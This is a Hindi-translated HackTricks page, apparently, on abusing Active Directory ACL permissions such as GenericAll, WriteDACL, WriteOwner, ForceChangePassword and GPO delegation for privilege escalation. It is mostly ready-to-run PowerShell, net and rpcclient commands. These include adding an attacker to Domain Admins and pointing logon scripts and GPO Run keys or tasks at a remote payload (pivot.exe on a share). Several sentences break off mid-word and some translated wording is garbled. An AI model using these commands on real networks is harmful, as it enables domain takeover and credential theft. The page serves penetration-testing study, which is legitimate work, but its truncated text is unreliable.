hacktricks/windows-hardening/active-directory-methodology/acl-persistence-abuse
2024-03-09 13:47:59 +00:00
..
README.md Translated ['README.md', 'forensics/basic-forensic-methodology/partition 2024-03-09 13:47:59 +00:00
shadow-credentials.md Translated ['forensics/basic-forensic-methodology/README.md', 'forensics 2024-02-09 02:46:55 +00:00

एक्टिव डायरेक्टरी ACLs/ACEs का दुरुपयोग

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

यह पृष्ठ मुख्य रूप से https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces और https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges** की तकनीकों का सारांश है। जब अधिक विवरण चाहिए, तो मूल लेखों की जांच करें।**

उपयुक्त सभी अधिकार उपयोगकर्ता पर

इस विशेषाधिकार से हमलावर को लक्षित उपयोगकर्ता खातेर पर पूरा नियंत्रण होता है। एक बार GenericAll अधिकार साबित होने पर Get-ObjectAcl कमांड का उपयोग करके हमलावर:

  • लक्षित के पासवर्ड बदलें: net user <username> <password> /domain का उपयोग करके हमलावर उपयोगकर्ता का पासवर्ड रीसेट कर सकता है।
  • लक्षित Kerberoasting: SPN को उपयोगकर्ता के खातेर में असाइन करके इसे kerberoastable बनाएं, फिर Rubeus और targetedKerberoast.py का उपयोग करके टिकट-ग्रांटिंग टिकट (TGT) हैश को निकालने और क्रैक करने का प्रयास करें।
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
.\Rubeus.exe kerberoast /user:<username> /nowrap
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
  • लक्षित ASREPRoasting: प्री-प्रमाणीकरण को अक्षम करें उपयोगकर्ता के लिए, जिससे उनका खाता ASREPRoasting के लिए विकल्पनीय बन जाता है।
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}

सामान्य सभी अधिकार समूह पर

यह विशेषाधिकार एक हमलावर को समूहों के सदस्यता को परिवर्तित करने की अनुमति देता है अगर उनके पास सामान्य सभी अधिकार हैं किसी समूह जैसे डोमेन व्यवस्थापक. Get-NetGroup के साथ समूह की विशिष्ट नाम की पहचान करने के बाद, हमलावर निम्न कार्रवाई कर सकता है:

  • अपने आप को डोमेन व्यवस्थापक समूह में जोड़ें: इसे सीधे कमांड या Active Directory या PowerSploit जैसे मॉड्यूल का उपयोग करके किया जा सकता है।
net group "domain admins" spotless /add /domain
Add-ADGroupMember -Identity "domain admins" -Members spotless
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"

GenericAll / GenericWrite / Write on Computer/User

किसी कंप्यूटर ऑब्जेक्ट या उपयोगकर्ता खाते पर इन विशेषाधिकारों को रखने से निम्नलिखित कार्रवाई की जा सकती है:

  • कर्बेरोस संसाधन-आधारित सीमित प्रतिनिधित्व: कंप्यूटर ऑब्जेक्ट को अधिकार में लेने की संभावना प्रदान करता है।
  • शैडो क्रेडेंशियल्स: इस तकनीक का उपयोग करके कंप्यूटर या उपयोगकर्ता खाते का अनुकरण करने के लिए उपयोगकर्ता खाते को अनुकरण करने के लिए विशेषाधिकारों का शोषण करें।

Group पर WriteProperty

यदि किसी उपयोगकर्ता के पास विशेष समूह (जैसे डोमेन व्यवस्थापक) के लिए सभी ऑब्ज

net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain

स्वयं (स्वयं सदस्यता) समूह पर

यह विशेषाधिकार हमलावर्गियों को स्वयं को विशेष समूहों में जोड़ने की स्वीकृति देता है, जैसे कि डोमेन व्यवस्थापक, जैसे समूहों में। निम्नलिखित कमांड अनुक्रम का उपयोग स्वयं जोड़ने की अनुमति देता है:

net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain

WriteProperty (स्व-सदस्यता)

एक समान विशेषाधिकार, यह हमलावारों को सीधे समूहों में अपने आप को जोड़ने की अनुमति देता है यदि उनके पास उन समूहों पर WriteProperty अधिकार है। इस विशेषाधिकार की पुष्टि और क्रियान्वयन निम्नलिखित के साथ किया जाता है:

Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
net group "domain admins" spotless /add /domain

ForceChangePassword

एक उपयोगकर्ता पर User-Force-Change-Password के लिए ExtendedRight को धारित करना वर्तमान पासवर्ड को न पता होने के बिना पासवर्ड रीसेट करने की अनुमति देता है। इस अधिकार की पुष्टि और इसका शोषण PowerShell या वैकल्पिक कमांड-लाइन उपकरण के माध्यम से किया जा सकता है, जो एक उपयोगकर्ता का पासवर्ड रीसेट करने के कई तरीके प्रदान करता है, जिसमें इंटरैक्टिव सत्र और गैर-इंटरैक्टिव पर्यावरण के लिए वन-लाइनर्स शामिल हैं। कमांड साधारित PowerShell आह्वान से लेकर लिनक्स पर rpcclient का उपयोग करने तक का है, जो हमले के वेक्टर्स की विविधता को प्रदर्शित करता है।

Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainUserPassword -Identity delegate -Verbose
Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
rpcclient -U KnownUsername 10.10.10.192
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'

ग्रुप पर WriteOwner लिखें

यदि किसी हमलावर को पाता चलता है कि उनके पास किसी ग्रुप पर WriteOwner अधिकार हैं, तो वे ग्रुप की स्वामित्व को अपने नाम पर बदल सकते हैं। यह विशेष रूप से प्रभावी होता है जब ग्रुप Domain Admins होता है, क्योंकि स्वामित्व बदलने से ग्रुप विशेषताओं और सदस्यता पर अधिक नियंत्रण मिलता है। इस प्रक्रिया में Get-ObjectAcl के माध्यम से सही ऑब्जेक्ट की पहचान करना शामिल है और फिर Set-DomainObjectOwner का उपयोग करके मालिक को संशोधित करना है, या तो SID द्वारा या नाम द्वारा।

Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico

उपयोगकर्ता पर GenericWrite

यह अनुमति एक हमलाविता को उपयोगकर्ता गुणों को संशोधित करने की अनुमति देती है। विशेष रूप से, GenericWrite पहुंच के साथ, हमलाविता उपयोगकर्ता लॉगऑन प्रवेश पर एक दुरुपयोगी स्क्रिप्ट को चलाने के लिए उपयोगकर्ता का लॉगऑन स्क्रिप्ट पथ बदल सकता है। इसे लक्ष्य उपयोगकर्ता की scriptpath संपत्ति को हमलाविता की स्क्रिप्ट की ओर इशारा करने के लिए Set-ADObject कमांड का उपयोग करके प्राप्त किया जाता है।

Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"

समूह पर GenericWrite

इस विशेषाधिकार के साथ, हमलावर समूह सदस्यता को बदल सकते हैं, जैसे किसी विशेष समूह में अपने आप को या अन्य उपयोगकर्ताओं को जोड़ना। इस प्रक्रिया में एक प्रमाण पदार्थ बनाना शामिल है, इसका उपयोग करके समूह से उपयोगकर्ताओं को जोड़ना या हटाना, और PowerShell कमांड के साथ सदस्यता परिवर्तनों की पुष्टि करना।

$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'username' -Verbose
Get-DomainGroupMember -Identity "Group Name" | Select MemberName
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose

WriteDACL + WriteOwner

AD ऑब्जेक्ट का स्वामित्व होना और उस पर WriteDACL विशेषाधिकार होना एक हमलावार को ऑब्जेक्ट पर GenericAll विशेषाधिकार प्रदान करने की क्षमता प्रदान करता है। यह ADSI मानिपुलेशन के माध्यम से प्राप्त किया जाता है, जिससे ऑब्ज

$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
$ADSI.psbase.commitchanges()

डोमेन पर प्रतिलिपि (DCSync)

DCSync हमला डोमेन पर विशिष्ट प्रतिलिपि अनुमतियों का उपयोग करता है ताकि एक डोमेन कंट्रोलर की भूमिका नकल कर सके और डेटा समकालीन कर सके, सहित उपयोगकर्ता क्रेडेंशियल्स। यह शक्तिशाली तकनीक अनुमतियों जैसे DS-Replication-Get-Changes की आवश्यकता होती है, जो हमलावरों को एडी परिवेश से संबंधित जानकारी निकालने की अनुमति देती है बिना किसी डोमेन कंट्रोलर का सीधा पहुंच। DCSync हमले के बारे में अधिक जानें यहाँ।

GPO सम्मति

GPO सम्मति

समूह नीति ऑब्जेक्ट्स (GPOs) को प्रबंधित करने के लिए सौंपी गई पहुंच महत्वपूर्ण सुरक्षा जोखिम प्रस्तुत कर सकती है। उदाहरण के लिए, यदि एक उपयोगकर्ता जैसे offense\spotless को GPO प्रबंधन के अधिकार सौंपे गए हैं, तो उनके पास WriteProperty, WriteDacl, और WriteOwner जैसी विशेषाधिकार हो सकते हैं। ये अनुमतियाँ दुरुपयोग के लिए प्रयोग की जा सकती हैं, जैसा कि PowerView का उपयोग करके पहचाना गया है: bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

GPO सम्मतियों का जाँच

गलत रूप से कॉन्फ़िगर किए गए GPOs की पहचान करने के लिए PowerSploit के cmdlets को एक साथ जोड़ा जा सकता है। इससे किसी विशेष उपयोगकर्ता को प्रबंधित करने की अनुमति है उन GPOs की खोज की जा सकती है: powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

एक निर्धारित नीति लागू किए गए कंप्यूटर: किसी विशेष GPO को किस कंप्यूटर पर लागू किया गया है, इसे सुलझाने में मदद कर सकता है। powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}

एक निर्धारित कंप्यूटर पर लागू नीतियाँ: किसी विशेष कंप्यूटर पर कौन-कौन सी नीतियाँ लागू हैं, Get-DomainGPO जैसे कमांड का उपयोग किया जा सकता है।

निर्धारित नीति लागू ओयू: दिए गए नीति से प्रभावित संगठनिक इकाइयों (OUs) की पहचान करना Get-DomainOU का उपयोग करके किया जा सकता है।

GPO दुरुपयोग - New-GPOImmediateTask

गलत रूप से कॉन्फ़िगर किए गए GPOs का दुरुपयोग किया जा सकता है कोड निष्पादित करने के लिए, उदाहरण के लिए, तत्काल निर्धारित कार्य को बनाकर। इसे किया जा सकता है ताकि प्रभावित मशीनों पर स्थानीय प्रशासकों समूह में एक उपयोगकर्ता जोड़ा जा सके, जो अधिकारों को काफी ऊंचा कर सकता है:

New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force

GroupPolicy मॉड्यूल - GPO का दुरुपयोग

यदि स्थापित है, तो GroupPolicy मॉड्यूल नए GPO बनाने और लिंक करने की अनुमति देता है, और प्रभावित कंप्यूटर पर बैकडोअर्स को निष्पादित करने के लिए रजिस्ट्री मान्यताएँ सेट करने की अनुमति देता है। इस विधि के लिए GPO को अपडेट किया जाना चाहिए और निष्पादन के लिए कंप्यूटर में एक उपयोगकर्ता को लॉग इन करना चाहिए:

New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString

SharpGPOAbuse - GPO का दुरुपयोग

SharpGPOAbuse एक विधि प्रदान करता है जिससे मौजूदा GPOs का दुरुपयोग किया जा सकता है टास्क जोड़कर या सेटिंग्स को संशोधित करके नए GPOs बनाने की आवश्यकता नहीं होती। इस उपकरण को मौजूदा GPOs का संशोधन करने की आवश्यकता होती है या परिवर्तन लागू करने से पहले नए बनाने के लिए RSAT उपकरण का उपयोग करना होता है:

.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"

Force Policy Update

GPO अपडेट सामान्यत: हर 90 मिनट में होते हैं। इस प्रक्रिया को तेजी से बढ़ाने के लिए, खासकर किसी बदलाव को लागू करने के बाद, लक्षित कंप्यूटर पर gpupdate /force कमांड का उपयोग किया जा सकता है ताकि तत्काल नीति अपड